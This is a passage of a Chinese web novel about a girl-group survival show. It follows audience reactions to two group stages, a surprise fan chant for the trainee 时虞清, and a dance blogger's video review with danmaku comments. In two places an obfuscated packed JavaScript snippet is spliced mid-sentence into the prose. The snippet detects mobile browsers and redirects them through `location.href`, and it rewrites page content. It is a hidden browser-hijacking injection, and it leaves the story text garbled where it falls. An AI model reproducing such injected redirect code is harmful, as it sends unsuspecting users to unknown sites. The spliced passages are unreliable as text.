她看向身边还在用手指整理刘海的姜舟霖,“是吧?” 察觉到身边投射过来的视线,姜舟霖无奈收起镜子,不知道为什么,她这段时间对时虞清越来越有耐心,连她自己的队友都惊讶,“是是是。” 姜舟霖转头看向谭清清,回想起之前路过B班练习室看到的场景,选择了一个保守的说法:“那还真不一定。” ******** 涂白觉得,现在的练习生真的是卧虎藏龙。 她自己有多久没在线下看到这样整齐划一的刀群舞了??? “看我说什么了!这才是正确的拍子!” “哇塞,她们跳得好齐啊。比上一组好多了。” “对对对,你看她们的手。明明身高不一样,抬起来的手却都在一个高度。” “我天,这个刀群真的跳得我好爽。” 涂白深以为然地点头,刀群舞可不是光练习就可以达到的,必须有一个人盯着一点点抠细节,才能有现在的效果。 “中间那个是不是sg的蒋飞遥?我好像看过她的舞蹈视频。” “我天,真是她!大主舞咋来参加选秀了?我记得外边儿没有她的旗啊,她们团练习室视频都能有十来万赞,干啥参加选秀来了。” “攒人气吧,现在出道一个团可费钱了,不回本咋办下去?” “蒋飞遥这是一个人带一整个团啊,她们组唱得不咋地,跳得真是没话说。” “我也感觉,好几个唱得都有点飘,但没关系,忍忍就过去了。” “嘶,这个音响配这个声音真的灾难,你真行,我可忍不了,那几个假音唱得我都怀疑她们是不是夺舍了。” “唉,那就只能看最后那个高音了。” “我看悬,你看她们都没拿手麦,直接戴的耳麦。” 女生摇摇头,继续道: “你还是提前捂一下耳朵吧。” 涂白津津有味地听着身旁两人吐槽,B组确实跳得不错,但唱得也实在是……难评。 她在心中暗暗摇头,开始期待起最后一个高音。 鼓点进到最激烈的部分,但音响中传出的声音显然已经超过了涂白能承受的最低底线。 她忍了半晌,又在原座上惊了半晌,还是抬起手,捂住了耳朵。 涂白转过头,看向了身边的两位女生。 她们早就抬起了手,满脸都是劫后余生的庆幸。 涂白:………… ********* B组唱完直接就直接留在了台上,等待进行拉票环节。 殷辞玉和赵蕴予也一起从后台中走出,开始敬业地cue起流程。 时虞清没打算在这种环节出现,现在也只是安静站在一遍,看着队友们发言。 看着姜舟霖顶着营业微笑生无可恋的卖萌,时虞清有点想笑。 但这毕竟是台上,时虞清勉强忍住,一脸正经地看向台下。 眼看着A组全员就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512538|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,话筒马上要被递去B组时,谭清清突然露出几分惊愕,紧接着就疯狂用胳膊肘捅咕时虞清。 这可是在台上! 时虞清不知道她为什么这样做,她刚想避开,就见谭清清猛地一把直接拽下了她的耳返—— “时虞清!时虞清!” “清者自清,虞你同行!” “清者自清,虞你同行!” 台下的喊声接连不断地传来,女孩们声嘶力竭的声音震耳欲聋,几乎是排山倒海般向台上袭来。 时虞清难得露出了茫然的表情,明明身处明亮璀璨的舞台正中,她却像是被人安置进另一个世界,欢呼声和呐喊声将她包裹住,陌生的暖意像沙漠尽头的海市蜃楼,让她忍不住缩了缩胳膊。 她犹豫地望着女生们头上亮起的写着“清”的字牌,头一次不敢相信自己的眼睛, ……她们喊得,是自己的名字吗? ******* 涂白起初还在欣赏殷辞玉主持时候的样子,却被一片突然亮起的白光吸引去视线。 场馆之中太暗了,一点点光都足以引起注意。 可那白光虽然只是星星点点,却实实在在组成了一片闪烁的光芒。 怎么会有人在这个时候看手机?涂白不解,刚想探头望过去,就听见前排的角落突然有一个声音大喊: “准备!” 接下来,就是连成一片的应援声。 涂白愣在原地。 她追的是殷辞玉,每次演唱会时粉丝们的应援声都足够把场馆的屋顶掀开,每个人都能喊得脸红脖子粗,整个场馆热烈非常,全是震天响的应援声和口号声。 对比这样的应援,面前这些应援声简直是小巫见大巫,微弱得不值一提。 可是…… 可是在这样安静、谈不上宽敞的场馆之中,这些应援声实在是太明显了,也太热情、太激昂了, 像是有人突然往干燥的树林中燃起一把火,火星四溅开来,熊熊烈火漫卷过枝叶,风卷着炽热的热潮席卷整片森林,势不可挡。 那应援声只喊了两轮就停下来,流程进行到下一个环节,B组的人已经接过了话筒,可涂白还是看得分明,时虞清脸上的惊愣至今还挂在脸上,没有完全消退。 她就带着那样的表情,朝着台下鞠躬。 五个人里面,就她鞠躬鞠得最深,像是一个被欺负许久,突然被人释放暖意的稚童,只能笨拙地、鞠了一个几乎将自己对着的躬,来回报这陌生的、汹涌的暖意。 身边的两个女孩显然也被震惊到了,忍不住窃窃私语: “她们喊得啥?” “我没听清,只听清了最后一句与你同行,是在喊A组那个主唱的名字吧?人家唱得确实好。” “不是啊,我问的是第一句!” “听上去像,呃,清者自清?不能吧?谁家应援口号长这样?听上去像申冤。” “就是,我也听着像,但怎么也不可能是这个啊!” “算了不管了,你投谁?” “我感觉两组都差点意思,A组舞蹈差点,B组那个声乐差得都不止一点了,那是直接扑穿地心。” “我也这样觉得,不然还是投A吧?那个高音太顶了。” “说的也是,A组的舞蹈只是有点小失误而已,忽略掉这些,人家跳得还是挺齐的。” “那还犹豫啥!快快快投票了,那就A组挑个顺眼的投了吧。” “也行!你投谁?” “主唱啊!还用问?” “那我也主唱,七号对吧?” ………… 涂白听得忍不住好奇,趁着B组还在发言,身边的两个女孩还在讨论投票人选,她悄悄打开手机,开始在网页上浏览关于时虞清的消息。 她从来没有听过这样特别的应援口号,不像是表达支持和爱意,而更像是安慰。 半晌,涂白默默收回手机,她五味杂陈地举起手中的投票器,默默按下了“7” 那是时虞清的编号。 29.Re《万象如你》一公!内娱选秀你崛起吧! “哈喽大家好!我是六六醒~先赞后看生活灿烂!” 戴着耳机的女生笑容灿烂地向着镜头面前招手,她是A站小有名气的舞蹈博主。 平常账号上面除了发自己的跳舞视频,还会发自己对娱乐圈大大小小舞台的repo,因为专业能力过硬和说话幽默风趣一直很得观众老爷们青睐,不少人都用她的repo视频下饭。 视频进度条向前推进,在她手臂下方的位置,依言出现了一个小长条。 弹幕纷纷划过,视频的点赞量不断上升。 “给了给了,还有一个圆圆的东西主播要不要?” “每次都是先骗我们的赞!这女人真是该死的迷人~” “已点赞!” “已点赞+1” “已点赞+10086” “好了,不知道大家有没有注意到,最近内娱新出了一档选秀节目,”六六醒打了个响指,“《万象如我》!” 弹幕纷纷划过, “听过!” “已入坑!嘿嘿嘿” “前面的还是慢一步!本人已在坑底躺平。” “没听过,这啥?” “选秀啊,韩国有的我们终于也要有了吗!!!” “选秀大发!” “名字挺好听,啥样的选秀啊,老阿姨没看过。” 六六醒看不见弹幕,继续道:“在大家在意或是不在意的地方!这个节目!它已经进行到了第一次公演啦。” 她放松地往电竞椅的后背上一靠:“今天,就让我们re一下《万象如你》的第一次公演舞台,话不多说,咱们这就开始吧!” 弹幕显然看穿了她的意图, “好哇,这么长时间不更新,原来是去追选秀了!” “这就是你半个月不更新的原因?” “谴责up主!” “一下re这么多舞台,up主终于不用辛苦找素材了哈哈哈哈哈哈。” “万象舞台大集锦,作过舞台re的up主都说好!” “诸君看一眼进度条吧,这女人这次真的更新了个大的。” “哇塞,进度条感人。” “进度条好顶!令人安心的时长。” “up的视频发得太是时候了,我刚打开外卖的盖子嘻嘻” “前面的吃的啥?” “伟大麦麦。无需多言了。” “那很幸福了。” “对自己差点吧前面的。” 六六醒没管弹幕,而是熟练地点开视频,找出了第一个舞台纯享视频—— 《宇宙狂想》-A组。 她移动着鼠标,最后单手用力按下空格键,双手合掌做了一个打板的手势:“action!” 音乐响起,五个女孩依次左右站开,为首的女生唱出第一句。 六六醒安静听完第一句,随即按下空格:“《宇宙狂想》,在座各位都听过哈,但是万象这个是改编版的,还不知道改的咋样,让我们接着听下去。” 进度条继续。 弹幕纷纷划过: “哇塞这个小姐姐好好看!” “我天啊,不愧是歌剧改编的舞台,这个妆造我真的可以啊!宫廷华丽风赛高!” “内娱咋突然多出了两个美女!猫系和淡颜杀我!!!” “我靠,不说唱得怎么样,光是站在这里就足够养眼啊!” “前面的,点了。” “《宇宙狂想》我的年度歌单啊!漂亮小姐姐们一定要好好唱啊!” 六六醒自己是舞蹈博主,对声乐没有多大造诣,最多只能算是资深听众水平,现在也只是点头:“还可以,起码不难听。” 弹幕笑成一片, “主播你是不是太久没re了!起码不难听?!这是什么话!” “主包在说啥呢哈哈哈哈,小姐姐们唱得我觉得还不错呀。” “我觉得好听!” “不过我感觉那个猫系美女不太适合这种华丽风曲调,她应该去唱女团曲的。” 既然声乐水平re不了,六六醒也自知理亏,只能尽力给弹幕科普:“可以听出来编曲重新加了很多鼓点和beat,感觉有kpop那味了。” 弹幕却显然不买账,一下子就看穿了这个女人的意图: “主播挽回得好努力。” “主播还是做了功课得,挺好。” “同意同意,我乍一耳朵听过去,确实有那味了。” 六六醒重新把注意力聚焦到舞台上面,她啪地一下按下空格,视频暂停在谭清清的part上面:“这个小姐姐是不是跳错拍了,明显和其他人不在一个图层上面啊。” 弹幕划过一片“主包火眼金睛。” 六六醒重新按下空格键,视频继续播放。 但很快,她又暂停了视频:“这个呃,刁新月是吧,我感觉她肢体的控制力不是很好,几个动作明显变形了。” “这个编舞还行吧,就中等水平,用心练习一下跳对不难的。” 弹幕一向知道六六醒是有啥说啥的性格,这下也没说什么。 “但是配上vocal还行,忽略小毛病,质量还可以。” “这个姜舟霖表管可以的,台风很不错。” “这个时虞清是C位吧?感觉拿手麦有点影响动作了,不过跳得比她们组其他人好一点。” 六六醒是出了名的毒舌和挑剔,她愿意说这么多,就代表A组水平并不差。 她悄悄移开了一点凳子,本来打算用平常的眼光看完这个舞台,却突然一下子瞪大眼睛, 弹幕也一瞬间爆炸: “我靠我靠!!!” “妈妈我听到了什么!!!” “真神降临!” “哇去,好饱满的高音!” “看过初舞台,时虞清vocal真的可以的!” “这高音一出来,感觉A组估计稳了。” “时虞清冲鸭!给我们时虞清小姐姐投票好吗!!” 六六醒定了定神,朝着镜头摊开双手,“highlight来了啊观众老爷们,是个人都能听出来吧,不管是情绪还是声色都是很饱满的高音,没得喷,咱们继续。” 视频结束在一片“厉害”“高音好顶”的弹幕之中,六六醒按下暂停键,挠了挠头,“行了,总结一下啊。” “编舞中上水平,vocal能听,高音很惊艳,除了有几个舞蹈上的小瑕疵以外,还算得上不错。” “我们看B组。” 视频继续,不管是妆造还是台风都截然不同的女生们站上舞台,表演开始。 弹幕也没想到还有这种操作,纷纷哗然: “哇塞,清爽类型的!” “还是感觉上一组的华丽风更配曲风啊,这个有点太素了。” “哎她们组咋都用的耳麦,忘拿mic了?” 这次的六六醒显然言简意赅不少,“舞蹈比上一组好一点了,好齐。” “不过她们c位是蒋飞遥啊,看过我的观众老爷们应该知道她哈,之前re过她的练习室视频,感兴趣的可以去看下主包的往期投稿哈。” 弹幕显然也很配合, “大主舞来了,诸位跪下迎接吧。” “没有蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517071|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞遥扣不齐的舞!!!” “我说咋这齐哈哈哈,以为是有故人之姿,原来是故人本人。” “嘶,感觉战况焦灼起来了啊,前有绝美高音后有超绝齐舞,有点难选了。” 六六醒戴着耳机,听得皱眉:“感觉她们组音准没有上一组好了,有几个音唱得好虚。” 她又仔细听了一下,肯定道:“咱们看得这个版本都是修过音的,B组的修音和垫音痕迹太明显了。不过还没到高音啊,我们再听听看。” 很快,表演就进行到了高音部分,但六六醒显然看上去有些震惊:“这是……啊?她们唱得是同一首歌,吗?” 弹幕显然也没有料到这种情况,纷纷傻了眼, “这对吗老师们……” “唱得啥呀……这高音虚的,修音和垫音都救不回来了。” “我奶奶唱歌都没这么虚。” “舞蹈还行啊,但是这唱的是啥啊我老天……” “回家吧孩子们,回家吧好不好……” 表演结束,六六醒拽过键盘,总结道:“其实《宇宙狂想》这首歌更偏vocal啊,因为说实话编舞真的不算太难,只要不是突然在舞台上面抽风,完整地跳下来,基本上都不难看的。” “所以整首歌都靠着那段高音撑着,只要能把高音唱好,跳得有一些小瑕疵也没什么了。” “这把我投A组。” 弹幕也纷纷刷过一片“A组”字样,显然都被最后B组那个高音震撼到了,只有在夹缝中才能勉强瞥见“B组”的字样。 “OK啊,让我们看下一个舞台。” “《秘境》A组。” “C位是卞苏啊,和蒋之遥一样熟面孔了,大家真的可以复习一下up之前的视频了,这一把熟人真的很多。” 秘境是标准的酷炫风,六六醒看得很带劲,摇头晃脑:“这个力度,这个框架,这个wave,无需多言了各位,卞苏一出场,已经没有输的余地了。” 弹幕显然也深有同感, “卞苏一出现,我真的觉得在座各位都是小卡拉米。” “我天她跳得真的好爽……这个卡点真的好顶!” “主包很少这样夸人的,这就是初C的含金量!” “卞苏就是卞苏……这句话的含金量还在不断上升。” “满级大佬带一堆新手哈哈哈哈哈,卞苏秒了!” “哈哈哈哈水宾月!!!好可爱啊我天” “百变卞苏环游世界!” 六六醒意犹未竟地看完视频,视线还依依不舍地黏在卞苏身上,言简意赅道:“没有卞苏的那一段单人part,这首歌就垮掉了。” 她说的没错,这首歌的高潮是一段密集的鼓点,需要C位每个动作都重重地卡在鼓点上面,才有观赏感。 但是…… 六六醒显然忍不住笑:“不过本人有生之年竟然也能看到卞苏老师卖萌,小女子这辈子值了。” “狂拽酷炫练习生在线卖萌,究竟是人性的扭曲还是道德的沦丧?!” “笑得,这估计卞苏一辈子黑历史了。” 六六醒点开B组视频,却看得没有紧皱,除了针对性地挑出了几个舞蹈上面的作用之后就一直没有说话,只是最后总结道: “舞蹈实力显然不如上一组啊,唱得感觉也不太行,行了端走吧。” “很明显啊,A组完胜!不过说实话,有卞苏在,想输都难。 这两组我都觉得是A组更胜一筹,不知道你们看下来感觉怎么样呢?” “好,大家多多点赞支持啊,点赞破五千更新下一期啊,拜拜~”